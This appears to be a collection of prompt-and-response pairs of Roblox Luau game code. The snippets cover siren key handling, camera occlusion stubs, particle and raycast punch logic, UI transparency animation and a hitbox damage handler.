mouse.KeyUp:connect(function(key)
	if key=="h" then
		veh.Lightbar.middle.Man:Stop()
		veh.Lightbar.middle.Wail.Volume = 3
		veh.Lightbar.middle.Yelp.Volume = 3
		veh.Lightbar.middle.Priority.Volume = 3
		script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
		veh.Lightbar.MAN.Transparency = 1
	end
end)


Prompt: --[[ Derived classes are required to override and implement all of the following functions ]]

Response:
--
function BaseOcclusion:GetOcclusionMode()
	-- Must be overridden in derived classes to return an Enum.DevCameraOcclusionMode value
	warn("BaseOcclusion GetOcclusionMode must be overridden by derived classes")
	return nil
end

function BaseOcclusion:Enable(enabled)
	warn("BaseOcclusion Enable must be overridden by derived classes")
end

function BaseOcclusion:Update(dt, desiredCameraCFrame, desiredCameraFocus)
	warn("BaseOcclusion Update must be overridden by derived classes")
	return desiredCameraCFrame, desiredCameraFocus
end

return BaseOcclusion


Prompt: -- Create ParticleEffect for specified part (being destroyed)

Response:
local function createParticles(parentPart)
	local particles = Instance.new("ParticleEmitter")
	particles.Name = "Particles"
	particles.Parent = parentPart
	particles.Texture = "rbxassetid://3127279684" -- Points icon
	particles.Size = NumberSequence.new(.75)
	particles.Acceleration = Vector3.new(0, -15, 0)
	particles.Lifetime = NumberRange.new(0.5, 1.5)
	particles.Speed = NumberRange.new(15)
	particles.SpreadAngle = Vector2.new(30, 30)
	particles.Rate = 20

	local particleThread = coroutine.create(function()
		wait(0.75)
		particles.Enabled = false
		DebrisService:AddItem(particles, 0.75)
	end)
	coroutine.resume(particleThread)

	return particles
end

local function getHittableWhitelist()
	local map = mapManager.getMap()
	if not map then
		return false
	end

	local highPoints = map:FindFirstChild("HighPoints")
	local mediumPoints = map:FindFirstChild("MediumPoints")
	local lowPoints = map:FindFirstChild("LowPoints")

	return {highPoints, mediumPoints, lowPoints}
end

local function getHit(player)
	-- Destroy parts touching the player's right hand if they are in the map and not a prop (and award points)
	local humanoidRootPart = player.Character:FindFirstChild("HumanoidRootPart")
	if not humanoidRootPart then return end

	local origin = humanoidRootPart.Position + PUNCH_HEIGHT_OFFSET -- Lower the origin
	local aimDirection = humanoidRootPart.CFrame.lookVector

	-- create a ray aiming the same way as player
	local ray = Ray.new(origin, aimDirection * PUNCH_RANGE)

	-- Create a whitelist for the map folders
	local hittableWhitelist = getHittableWhitelist()
	if not hittableWhitelist then return end

	-- raycast
	local hit, position = workspace:FindPartOnRayWithWhitelist(ray, hittableWhitelist, true)

	return hit
end

local function handleHit(hit, player)
	local model = getModel(hit)
	if model and isModelDestroyed(hit, destroyedModels) then
		return
	end

	-- Get topmost ancestor (for cases where touched part is part of a model)
	local topAncestor = getTopAncestor(hit)

	-- Points type matching name of ancestor folder
	local pointsType = topAncestor.Parent.Name

	-- Add member to debris
	DebrisService:AddItem(topAncestor, 0.01)

	-- Add model to destroy model table to track before Debris does garbage
	-- collection and removes it
	table.insert(destroyedModels, topAncestor)

	-- Make part/model non-collidable
	if topAncestor:IsA("Model") then
		breakModel(topAncestor)
	else
		topAncestor.CanCollide = false
	end

	createSmoke(topAncestor)
	local debris = createDebris(topAncestor)
	createParticles(debris)

	-- Award points
	leaderboardManager:incrementStat(player, "Points", gameSettings.pointValues[pointsType])
end


Prompt: --[[ Utility Functions ]]

Response:
--
local function IsFinite(num: number)
	return num == num and num ~= 1/0 and num ~= -1/0
end

local function IsFiniteVector3(vec3)
	return IsFinite(vec3.x) and IsFinite(vec3.y) and IsFinite(vec3.z)
end

local movementUpdateEvent = Instance.new("BindableEvent")
movementUpdateEvent.Name = "MovementUpdate"
movementUpdateEvent.Parent = script

coroutine.wrap(function()
	local PathDisplayModule = script.Parent:WaitForChild("PathDisplay")
	if PathDisplayModule then
		PathDisplay = require(PathDisplayModule)
	end
end)()


Prompt:
--[[
	Returns the item transparency binding for a single item.

	Used for coordinating slide + fade animations: image should fade to the inactive state as we are sliding.
]]

Response:
modules.getItemTransparency = function(self)
	return function(renderedIndex, index, mid)
		-- Avoid the same image being shown as selected when they are shown on the same page
		local isSelected = self.state.selectedIndex == index and renderedIndex == mid

		-- Offset from the current selected index
		local offset = mid - renderedIndex

		return self.position:map(function(position)
			if not self.isAnimating then
				return isSelected and TRANSPARENCY_SELECTED or TRANSPARENCY_NOT_SELECTED
			end

			local progress = 0
			if self.target:getValue() ~= 0 then
				progress = position / self.target:getValue()
			end

			local res
			if isSelected then
				-- Current selected (we should fade this out since we only set state AFTER the position
				-- animation completes)
				res = progress * TRANSPARENCY_NOT_SELECTED
			elseif self.formatTargetIndex(index, offset) == self.targetIndex then
				-- Target rendered index that we want to get to
				res = TRANSPARENCY_NOT_SELECTED * (1 - progress)
			else
				-- Every other image
				res = TRANSPARENCY_NOT_SELECTED
			end

			return res
		end)
	end
end

return modules


Prompt: --Damage

Response:
	HitBox.Touched:Connect(function(A)
		if Activo.Value == true then
		if A.Parent:FindFirstChild("Humanoid") then
			A.Parent.Humanoid.Health = A.Parent.Humanoid.Health - 40
			end
		end
	end)